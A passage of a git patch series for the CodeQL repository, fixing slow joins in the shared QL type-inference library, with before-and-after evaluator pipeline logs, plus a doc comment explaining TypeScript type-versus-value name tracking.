OUTPUT In.1, In.4, In.0, In.2, In.3 465635 ~0% {5} r8 = r5 UNION r7 6 ~0% {4} | JOIN WITH `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0` ON FIRST 2 OUTPUT Lhs.2, Lhs.0, Lhs.3, Lhs.4 29310 ~0% {5} r9 = JOIN `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev_delta` WITH `TypeInference::M2::IsInstantiationOf::resolveTypeAt/5#77e2181d#reorder_0_4_5_1_2_3#prev` ON FIRST 3 OUTPUT Lhs.0, Lhs.2, Rhs.3, Rhs.4, Rhs.5 29310 ~0% {6} r10 = SCAN r9 OUTPUT In.0, In.1, In.2, In.3, In.4, _ {5} | REWRITE WITH Tmp.5 := 0, TEST InOut.4 = Tmp.5 KEEPING 5 0 ~0% {5} | SCAN OUTPUT In.2, In.1, In.0, In.3, _ 0 ~0% {5} | REWRITE WITH Out.4 := 0 29310 ~0% {6} r11 = SCAN r9 OUTPUT In.0, In.1, In.2, In.3, In.4, _ {5} | REWRITE WITH Tmp.5 := 0, TEST InOut.4 != Tmp.5 KEEPING 5 29310 ~1% {6} | SCAN OUTPUT In.0, In.2, In.3, _, In.1, In.4 29310 ~1% {6} | REWRITE WITH Tmp.3 := 1, Out.3 := (InOut.5 - Tmp.3) 29241 ~0% {5} | JOIN WITH `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev` ON FIRST 4 OUTPUT Lhs.1, Lhs.4, Lhs.0, Lhs.2, Lhs.5 29241 ~0% {5} r12 = r10 UNION r11 {5} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 29241 ~1% {4} | SCAN OUTPUT In.2, In.0, In.3, In.4 465635 ~0% {6} r13 = SCAN r4 OUTPUT In.0, In.4, In.5, In.1, In.2, _ 465635 ~1% {6} | REWRITE WITH Out.5 := 0 0 ~0% {8} r14 = JOIN r6 WITH `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev` ON FIRST 3 OUTPUT Lhs.0, Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5, Rhs.3, _ {8} | REWRITE WITH Tmp.7 := 1, Out.7 := (InOut.3 - Tmp.7), TEST Out.7 = InOut.6 0 ~0% {6} | SCAN OUTPUT In.0, In.4, In.5, In.1, In.2, In.3 465635 ~1% {6} r15 = r13 UNION r14 465635 ~0% {5} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 3 OUTPUT Lhs.3, Lhs.2, Lhs.0, Lhs.4, Lhs.5 {5} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 465629 ~1% {4} | SCAN OUTPUT In.2, In.0, In.3, In.4 563353 ~1% {4} r16 = r2 UNION r3 UNION r8 UNION r12 UNION r15 563353 ~1% {4} | AND NOT `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev`(FIRST 4) return r16 ``` --- .../typeinference/internal/TypeInference.qll | 24 ++++++++----------- 1 file changed, 10 insertions(+), 14 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 3c984d98e44..992f8128837 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -423,27 +423,23 @@ module Make1 Input1> { ) } - /** - * Holds if `app` is a possible instantiation of `tm` at `path`. That is - * the type at `path` in `tm` is either a type parameter or equal to the - * type at the same path in `app`. - */ - bindingset[app, abs, tm, path] - private predicate satisfiesConcreteTypeAt( - App app, TypeAbstraction abs, TypeMention tm, TypePath path + pragma[nomagic] + private Type resolveNthTypeAt( + App app, TypeAbstraction abs, TypeMention tm, int i, TypePath path ) { - exists(Type t | - tm.resolveTypeAt(path) = t and - if t = abs.getATypeParameter() then any() else app.getTypeAt(path) = t - ) + potentialInstantiationOf(app, abs, tm) and + path = getNthPath(tm, i) and + result = tm.resolveTypeAt(path) } pragma[nomagic] private predicate satisfiesConcreteTypesFromIndex( App app, TypeAbstraction abs, TypeMention tm, int i ) { - potentialInstantiationOf(app, abs, tm) and - satisfiesConcreteTypeAt(app, abs, tm, getNthPath(tm, i)) and + exists(Type t, TypePath path | + t = resolveNthTypeAt(app, abs, tm, i, path) and + if t = abs.getATypeParameter() then any() else app.getTypeAt(path) = t + ) and // Recurse unless we are at the first path if i = 0 then any() else satisfiesConcreteTypesFromIndex(app, abs, tm, i - 1) } From 79e1af04df4cee194deea081f8190b23420b870d Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 11 Jun 2025 09:21:58 +0200 Subject: [PATCH 243/271] Rust: Fix bad join in `satisfiesConstraintTypeMention` Before ``` Pipeline standard for TypeInference::CallExprBaseMatching::AccessConstraint::satisfiesConstraintTypeMention/6#69a92324@e8671rw7 was evaluated in 378 iterations totaling 313ms (delta sizes total: 168323). 462477 ~1% {7} r1 = JOIN `TypeInference::CallExprBaseMatching::AccessConstraint::hasConstraintMention/5#8730ee97#prev_delta` WITH TypeInference::CallExprBaseMatching::AccessConstraint::MkRelevantAccess#8a6252ad#reorder_3_0_1_2#prev ON FIRST 1 OUTPUT Lhs.1, Lhs.2, Lhs.4, Lhs.3, Rhs.1, Rhs.2, Rhs.3 993561 ~2% {9} | JOIN WITH `TypeInference::M2::BaseTypes::conditionSatisfiesConstraintTypeAt/5#e92dcc7a` ON FIRST 3 OUTPUT Lhs.0, Lhs.1, Lhs.2, Rhs.3, Rhs.4, Lhs.3, Lhs.4, Lhs.5, Lhs.6 993561 ~38% {7} | JOIN WITH `TypeInference::M2::BaseTypes::conditionSatisfiesConstraintTypeAt/5#e92dcc7a` ON FIRST 5 OUTPUT Lhs.0, Lhs.4, Lhs.5, Lhs.6, Lhs.7, Lhs.8, Lhs.3 {7} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 772102 ~427% {6} | SCAN OUTPUT In.3, In.4, In.5, In.2, In.6, In.1 56885 ~1% {4} r2 = SCAN TypeInference::CallExprBaseMatching::AccessConstraint::MkRelevantAccess#8a6252ad#prev_delta OUTPUT In.3, In.0, In.1, In.2 0 ~0% {7} r3 = JOIN r2 WITH `TypeInference::CallExprBaseMatching::AccessConstraint::hasConstraintMention/5#8730ee97#prev` ON FIRST 1 OUTPUT Rhs.1, Rhs.2, Rhs.4, Lhs.1, Lhs.2, Lhs.3, Rhs.3 0 ~0% {9} | JOIN WITH `TypeInference::M2::BaseTypes::conditionSatisfiesConstraintTypeAt/5#e92dcc7a` ON FIRST 3 OUTPUT Lhs.0, Lhs.1, Lhs.2, Rhs.3, Rhs.4, Lhs.3, Lhs.4, Lhs.5, Lhs.6 0 ~0% {7} | JOIN WITH `TypeInference::M2::BaseTypes::conditionSatisfiesConstraintTypeAt/5#e92dcc7a` ON FIRST 5 OUTPUT Lhs.0, Lhs.4, Lhs.5, Lhs.6, Lhs.7, Lhs.8, Lhs.3 {7} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 0 ~0% {6} | SCAN OUTPUT In.2, In.3, In.4, In.5, In.6, In.1 462477 ~1% {8} r4 = JOIN `TypeInference::CallExprBaseMatching::AccessConstraint::hasConstraintMention/5#8730ee97#prev_delta` WITH TypeInference::CallExprBaseMatching::AccessConstraint::MkRelevantAccess#8a6252ad#reorder_3_0_1_2#prev ON FIRST 1 OUTPUT Lhs.1, Lhs.2, Lhs.4, Lhs.0, Lhs.3, Rhs.1, Rhs.2, Rhs.3 993561 ~39% {9} | JOIN WITH `TypeInference::M2::BaseTypes::conditionSatisfiesConstraintTypeAt/5#e92dcc7a` ON FIRST 3 OUTPUT Lhs.0, Rhs.4, Lhs.3, Lhs.1, Lhs.4, Lhs.5, Lhs.6, Lhs.7, Rhs.3 23413 ~1% {8} | JOIN WITH `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0` ON FIRST 2 OUTPUT Lhs.3, Lhs.1, Lhs.2, Lhs.4, Lhs.5, Lhs.6, Lhs.7, Lhs.8 2817 ~7% {7} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1` ON FIRST 2 OUTPUT Lhs.2, Lhs.3, Lhs.4, Lhs.5, Lhs.6, Lhs.7, Rhs.2 11550 ~0% {9} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 1 OUTPUT Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5, Rhs.2, _, Lhs.6, Rhs.1 {7} | REWRITE WITH Tmp.6 := "", Out.6 := InverseAppend(In.7,Tmp.6,In.8) KEEPING 7 2397 ~1% {11} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.5, _, _, In.4, In.6, _, _ {7} | REWRITE WITH Out.5 := (In.7 ++ In.8), Tmp.6 := (In.7 ++ In.8), Tmp.9 := "[0-9]+", Tmp.10 := "", Out.6 := regexpReplaceAll(Tmp.6,Tmp.9,Tmp.10) KEEPING 7 2397 ~1% {9} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.4, In.5, _, In.6, _ {7} | REWRITE WITH Out.6 := length(In.7), Tmp.8 := 10, TEST Out.6 <= Tmp.8 KEEPING 7 2397 ~1% {6} | SCAN OUTPUT In.1, In.2, In.3, In.0, In.5, In.4 66727 ~0% {6} r5 = JOIN `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev_delta` WITH TypeInference::CallExprBaseMatching::AccessConstraint::MkRelevantAccess#8a6252ad#reorder_3_0_1_2#prev ON FIRST 1 OUTPUT Lhs.0, Lhs.1, Lhs.2, Rhs.1, Rhs.2, Rhs.3 19305359 ~0% {9} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::hasConstraintMention/5#8730ee97#prev` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5, Rhs.2, Rhs.3, Rhs.4 3454881 ~1% {10} | JOIN WITH `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0` ON FIRST 1 OUTPUT Lhs.0, Lhs.6, Lhs.8, Rhs.1, Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5, Lhs.7 753104 ~1% {9} | JOIN WITH `TypeInference::M2::BaseTypes::conditionSatisfiesConstraintTypeAt/5#e92dcc7a_01243#join_rhs` ON FIRST 4 OUTPUT Lhs.1, Lhs.3, Lhs.4, Lhs.5, Lhs.6, Lhs.7, Lhs.8, Lhs.9, Rhs.4 32040 ~18% {9} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1` ON FIRST 2 OUTPUT Lhs.3, Lhs.4, Lhs.5, Lhs.6, Lhs.7, Lhs.8, _, Rhs.2, Lhs.2 {7} | REWRITE WITH Tmp.6 := "", Out.6 := InverseAppend(In.7,Tmp.6,In.8) KEEPING 7 13192 ~54% {11} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.4, _, _, In.5, In.6, _, _ {7} | REWRITE WITH Out.5 := (In.7 ++ In.8), Tmp.6 := (In.7 ++ In.8), Tmp.9 := "[0-9]+", Tmp.10 := "", Out.6 := regexpReplaceAll(Tmp.6,Tmp.9,Tmp.10) KEEPING 7 13192 ~54% {9} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.4, In.5, _, In.6, _ {7} | REWRITE WITH Out.6 := length(In.7), Tmp.8 := 10, TEST Out.6 <= Tmp.8 KEEPING 7 13192 ~55% {6} | SCAN OUTPUT In.1, In.2, In.3, In.4, In.5, In.0 0 ~0% {8} r6 = JOIN r2 WITH `TypeInference::CallExprBaseMatching::AccessConstraint::hasConstraintMention/5#8730ee97#prev` ON FIRST 1 OUTPUT Rhs.1, Rhs.2, Rhs.4, Lhs.1, Lhs.2, Lhs.3, Lhs.0, Rhs.3 0 ~0% {9} | JOIN WITH `TypeInference::M2::BaseTypes::conditionSatisfiesConstraintTypeAt/5#e92dcc7a` ON FIRST 3 OUTPUT Lhs.0, Rhs.4, Lhs.3, Lhs.4, Lhs.5, Lhs.6, Lhs.1, Lhs.7, Rhs.3 0 ~0% {8} | JOIN WITH `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0` ON FIRST 2 OUTPUT Lhs.6, Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5, Lhs.7, Lhs.8 0 ~0% {7} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1` ON FIRST 2 OUTPUT Lhs.5, Lhs.2, Lhs.3, Lhs.4, Lhs.6, Lhs.7, Rhs.2 0 ~0% {9} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 1 OUTPUT Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5, Rhs.2, _, Lhs.6, Rhs.1 {7} | REWRITE WITH Tmp.6 := "", Out.6 := InverseAppend(In.7,Tmp.6,In.8) KEEPING 7 0 ~0% {11} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.5, _, _, In.4, In.6, _, _ {7} | REWRITE WITH Out.5 := (In.7 ++ In.8), Tmp.6 := (In.7 ++ In.8), Tmp.9 := "[0-9]+", Tmp.10 := "", Out.6 := regexpReplaceAll(Tmp.6,Tmp.9,Tmp.10) KEEPING 7 0 ~0% {9} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.4, In.5, _, In.6, _ {7} | REWRITE WITH Out.6 := length(In.7), Tmp.8 := 10, TEST Out.6 <= Tmp.8 KEEPING 7 0 ~0% {6} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.5, In.4 787691 ~403% {6} r7 = r1 UNION r3 UNION r4 UNION r5 UNION r6 212766 ~54% {6} | AND NOT `TypeInference::CallExprBaseMatching::AccessConstraint::satisfiesConstraintTypeMention/6#69a92324#prev`(FIRST 6) return r7 ``` After ``` Pipeline standard for TypeInference::CallExprBaseMatching::AccessConstraint::satisfiesConstraintTypeMention/6#69a92324@9c099xwn was evaluated in 380 iterations totaling 11ms (delta sizes total: 153004). 768937 ~1% {7} r1 = SCAN `TypeInference::CallExprBaseMatching::AccessConstraint::satisfiesConstraintTypeMention0/9#c82a4f76#prev_delta` OUTPUT In.5, In.8, In.1, In.2, In.3, In.4, In.7 {7} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 745524 ~423% {6} | SCAN OUTPUT In.2, In.3, In.4, In.5, In.6, In.1 26916 ~0% {9} r2 = JOIN `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev_delta` WITH `TypeInference::CallExprBaseMatching::AccessConstraint::satisfiesConstraintTypeMention1/7#b265d17e#prev` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Rhs.2, Rhs.3, Rhs.4, Rhs.5, _, Rhs.6, Lhs.1 {7} | REWRITE WITH Tmp.6 := "", Out.6 := InverseAppend(In.7,Tmp.6,In.8) KEEPING 7 8530 ~1% {11} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.4, _, _, In.5, In.6, _, _ {7} | REWRITE WITH Out.5 := (In.7 ++ In.8), Tmp.6 := (In.7 ++ In.8), Tmp.9 := "[0-9]+", Tmp.10 := "", Out.6 := regexpReplaceAll(Tmp.6,Tmp.9,Tmp.10) KEEPING 7 8530 ~1% {9} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.4, In.5, _, In.6, _ {7} | REWRITE WITH Out.6 := length(In.7), Tmp.8 := 10, TEST Out.6 <= Tmp.8 KEEPING 7 8530 ~1% {6} | SCAN OUTPUT In.1, In.2, In.3, In.4, In.5, In.0 11763 ~1% {9} r3 = JOIN `TypeInference::CallExprBaseMatching::AccessConstraint::satisfiesConstraintTypeMention1/7#b265d17e#prev_delta` WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 1 OUTPUT Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5, Rhs.2, _, Lhs.6, Rhs.1 {7} | REWRITE WITH Tmp.6 := "", Out.6 := InverseAppend(In.7,Tmp.6,In.8) KEEPING 7 2461 ~1% {11} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.5, _, _, In.4, In.6, _, _ {7} | REWRITE WITH Out.5 := (In.7 ++ In.8), Tmp.6 := (In.7 ++ In.8), Tmp.9 := "[0-9]+", Tmp.10 := "", Out.6 := regexpReplaceAll(Tmp.6,Tmp.9,Tmp.10) KEEPING 7 2461 ~1% {9} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.4, In.5, _, In.6, _ {7} | REWRITE WITH Out.6 := length(In.7), Tmp.8 := 10, TEST Out.6 <= Tmp.8 KEEPING 7 2461 ~1% {6} | SCAN OUTPUT In.0, In.1, In.2, In.3, In.5, In.4 756515 ~396% {6} r4 = r1 UNION r2 UNION r3 155599 ~6% {6} | AND NOT `TypeInference::CallExprBaseMatching::AccessConstraint::satisfiesConstraintTypeMention/6#69a92324#prev`(FIRST 6) return r4 ``` --- .../typeinference/internal/TypeInference.qll | 49 +++++++++++++------ 1 file changed, 35 insertions(+), 14 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 992f8128837..846ca24e2c9 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -1036,6 +1036,7 @@ module Make1 Input1> { /** * Holds if `at` satisfies `constraint` through `abs`, `sub`, and `constraintMention`. */ + pragma[nomagic] private predicate hasConstraintMention( RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type constraint, TypeMention constraintMention @@ -1059,6 +1060,30 @@ module Make1 Input1> { ) } + pragma[nomagic] + predicate satisfiesConstraintTypeMention0( + RelevantAccess at, Access a, AccessPosition apos, TypePath prefix, Type constraint, + TypeAbstraction abs, TypeMention sub, TypePath path, Type t + ) { + exists(TypeMention constraintMention | + at = MkRelevantAccess(a, apos, prefix) and + hasConstraintMention(at, abs, sub, constraint, constraintMention) and + conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, path, t) + ) + } + + pragma[nomagic] + predicate satisfiesConstraintTypeMention1( + RelevantAccess at, Access a, AccessPosition apos, TypePath prefix, Type constraint, + TypePath path, TypePath pathToTypeParamInSub + ) { + exists(TypeAbstraction abs, TypeMention sub, TypeParameter tp | + satisfiesConstraintTypeMention0(at, a, apos, prefix, constraint, abs, sub, path, tp) and + tp = abs.getATypeParameter() and + sub.resolveTypeAt(pathToTypeParamInSub) = tp + ) + } + /** * Holds if the type at `a`, `apos`, and `path` satisfies the constraint * `constraint` with the type `t` at `path`. @@ -1067,22 +1092,18 @@ module Make1 Input1> { predicate satisfiesConstraintTypeMention( Access a, AccessPosition apos, TypePath prefix, Type constraint, TypePath path, Type t ) { + exists(TypeAbstraction abs | + satisfiesConstraintTypeMention0(_, a, apos, prefix, constraint, abs, _, path, t) and + not t = abs.getATypeParameter() + ) + or exists( - RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type t0, TypePath prefix0, - TypeMention constraintMention + RelevantAccess at, TypePath prefix0, TypePath pathToTypeParamInSub, TypePath suffix | - at = MkRelevantAccess(a, apos, prefix) and - hasConstraintMention(at, abs, sub, constraint, constraintMention) and - conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, prefix0, t0) - | - not t0 = abs.getATypeParameter() and t = t0 and path = prefix0 - or - t0 = abs.getATypeParameter() and - exists(TypePath path3, TypePath suffix | - sub.resolveTypeAt(path3) = t0 and - at.getTypeAt(path3.appendInverse(suffix)) = t and - path = prefix0.append(suffix) - ) + satisfiesConstraintTypeMention1(at, a, apos, prefix, constraint, prefix0, + pathToTypeParamInSub) and + at.getTypeAt(pathToTypeParamInSub.appendInverse(suffix)) = t and + path = prefix0.append(suffix) ) } } From 2aa5fa17f7cb5216d520999f998e3279d1079637 Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 11 Jun 2025 10:21:24 +0200 Subject: [PATCH 244/271] JS: Add comment and examples in FlowImpl doc --- .../javascript/internal/NameResolution.qll | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll index 0aa76b38e7c..3d0d8d6ef2b 100644 --- a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll @@ -271,6 +271,32 @@ module NameResolution { */ module TypeFlow = FlowImpl; + /** + * Generates a directed graph for tracking type names or value names back toward their definition. + * The ultimate definition might not be in the database, but the graph lets us track as far as we can. + * + * The module parameter determines whether types or values should be tracked. + * + * The example below illustrates the need for two separate instantiations of this module. + * When tracking through the nodes corresponding to `X`, we need to remember whether a type or value was tracked. + * + * ```ts + * // lib.ts + * class C1 {} + * class C2 {} + * + * const X = C1; + * type X = C2; + * + * export { X } + * + * // use.ts + * import { X } from "./lib" + * + * var x1 = X // should refer to C1 + * var x2: X; // should refer to C2 + * ``` + */ private module FlowImpl { /** * Gets the exported member of `mod` named `name`. From 3c9cbf186e1ff3c6a7fd0a439ab4b5b7fd462ce8 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 11 Jun 2025 10:07:37 +0200 Subject: [PATCH 245/271] Rust: Fix bad join in `typeParametersEqualFromIndex` Before ``` Pipeline standard for TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48@9c099swn was evaluated in 375 iterations totaling 154ms (delta sizes total: 0). 16307861 ~1% {5} r1 = JOIN `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev_delta` WITH `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypes/3#3b2e26a8#prev` ON FIRST 1 OUTPUT Rhs.2, Lhs.1, Lhs.0, Lhs.2, Rhs.1 37736 ~1% {7} r2 = JOIN r1 WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789_0312#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Lhs.3, Lhs.4, Lhs.0, Rhs.2, Rhs.3, _ {6} | REWRITE WITH Tmp.6 := 0, TEST InOut.5 != Tmp.6 KEEPING 6 0 ~0% {7} | SCAN OUTPUT In.0, In.2, In.3, In.4, In.1, _, In.5 0 ~0% {7} | REWRITE WITH Tmp.5 := 1, Out.5 := (InOut.6 - Tmp.5) 0 ~0% {6} | JOIN WITH `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48#prev` ON FIRST 6 OUTPUT Lhs.0, Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.6 0 ~0% {8} r3 = JOIN `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48#prev_delta` WITH `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypes/3#3b2e26a8#prev` ON FIRST 3 OUTPUT Lhs.0, Lhs.1, Lhs.2, Lhs.3, Lhs.4, _, Lhs.5, _ {6} | REWRITE WITH Tmp.5 := 1, Out.5 := (Tmp.5 + In.6), Tmp.7 := 0, TEST Out.5 != Tmp.7 KEEPING 6 0 ~0% {6} | SCAN OUTPUT In.2, In.3, In.5, In.0, In.1, In.4 0 ~0% {7} | JOIN WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789` ON FIRST 3 OUTPUT Lhs.3, Rhs.3, Lhs.5, Lhs.4, Lhs.0, Lhs.1, Lhs.2 0 ~0% {6} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 3 OUTPUT Lhs.0, Lhs.3, Lhs.4, Lhs.5, Lhs.2, Lhs.6 12808446 ~1% {5} r4 = JOIN `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypes/3#3b2e26a8#prev_delta` WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Lhs.0, Lhs.1, Rhs.2 22081 ~1% {7} r5 = JOIN r4 WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789_0312#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Lhs.3, Lhs.0, Lhs.4, Rhs.2, Rhs.3, _ {6} | REWRITE WITH Tmp.6 := 0, TEST InOut.5 != Tmp.6 KEEPING 6 0 ~0% {6} | SCAN OUTPUT In.0, In.1, In.2, In.4, In.3, In.5 0 ~0% {8} | JOIN WITH `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48#prev` ON FIRST 5 OUTPUT Lhs.0, Lhs.1, Lhs.2, Lhs.4, Lhs.3, Lhs.5, Rhs.5, _ {8} | REWRITE WITH Tmp.7 := 1, Out.7 := (InOut.5 - Tmp.7), TEST Out.7 = InOut.6 0 ~0% {6} | SCAN OUTPUT In.0, In.1, In.2, In.4, In.3, In.5 22081 ~1% {8} r6 = JOIN r4 WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789_0312#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Lhs.3, Lhs.0, Lhs.1, Lhs.4, Rhs.2, Rhs.3, _ {7} | REWRITE WITH Tmp.7 := 0, TEST InOut.6 = Tmp.7 KEEPING 7 22081 ~0% {7} | SCAN OUTPUT In.2, In.5, _, In.3, In.0, In.1, In.4 22081 ~0% {7} | REWRITE WITH Out.2 := 0 22081 ~0% {5} | JOIN WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789` ON FIRST 4 OUTPUT Lhs.0, Lhs.1, Lhs.4, Lhs.5, Lhs.6 0 ~0% {6} | JOIN WITH `project#TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789#3` ON FIRST 2 OUTPUT Lhs.2, Lhs.3, Lhs.0, Lhs.1, Lhs.4, _ 0 ~0% {6} | REWRITE WITH Out.5 := 0 37736 ~1% {8} r7 = JOIN r1 WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789_0312#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Lhs.1, Lhs.3, Lhs.4, Lhs.0, Rhs.2, Rhs.3, _ {7} | REWRITE WITH Tmp.7 := 0, TEST InOut.6 = Tmp.7 KEEPING 7 37736 ~0% {7} | SCAN OUTPUT In.4, In.5, _, In.1, In.0, In.2, In.3 37736 ~0% {7} | REWRITE WITH Out.2 := 0 37736 ~1% {5} | JOIN WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789` ON FIRST 4 OUTPUT Lhs.0, Lhs.1, Lhs.4, Lhs.5, Lhs.6 0 ~0% {6} | JOIN WITH `project#TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789#3` ON FIRST 2 OUTPUT Lhs.2, Lhs.4, Lhs.0, Lhs.1, Lhs.3, _ 0 ~0% {6} | REWRITE WITH Out.5 := 0 0 ~0% {6} r8 = r2 UNION r3 UNION r5 UNION r6 UNION r7 0 ~0% {6} | AND NOT `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48#prev`(FIRST 6) return r8 ``` After ``` Pipeline standard for TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48@81728ywe was evaluated in 375 iterations totaling 2ms (delta sizes total: 0). 0 ~0% {6} r1 = JOIN `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndexBase/5#56e8595e#reorder_0_4_1_2_3#prev_delta` WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 2 OUTPUT Lhs.0, Lhs.2, Lhs.3, Lhs.4, Rhs.2, _ 0 ~0% {6} | REWRITE WITH Out.5 := 0 0 ~0% {6} r2 = JOIN `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev_delta` WITH `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndexBase/5#56e8595e#reorder_0_4_1_2_3#prev` ON FIRST 2 OUTPUT Lhs.0, Rhs.2, Rhs.3, Rhs.4, Lhs.2, _ 0 ~0% {6} | REWRITE WITH Out.5 := 0 66609 ~1% {3} r3 = SCAN `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev_delta` OUTPUT In.0, In.2, In.1 0 ~0% {9} | JOIN WITH `TypeInference::M2::IsInstantiationOf::typeParametersEqualFromIndex/6#6471ea48#reorder_0_4_1_2_3_5#prev` ON FIRST 2 OUTPUT Lhs.0, Lhs.2, Lhs.1, Rhs.2, Rhs.3, Rhs.4, _, Rhs.5, _ {7} | REWRITE WITH Tmp.6 := 1, Out.6 := (Tmp.6 + In.7), Tmp.8 := 0, TEST Out.6 != Tmp.8 KEEPING 7 0 ~0% {7} | SCAN OUTPUT In.4, In.5, In.6, In.1, In.0, In.2, In.3 0 ~0% {6} | JOIN WITH `TypeInference::M2::IsInstantiationOf::getNthTypeParameterPath/3#c3ea2789` ON FIRST 4 OUTPUT 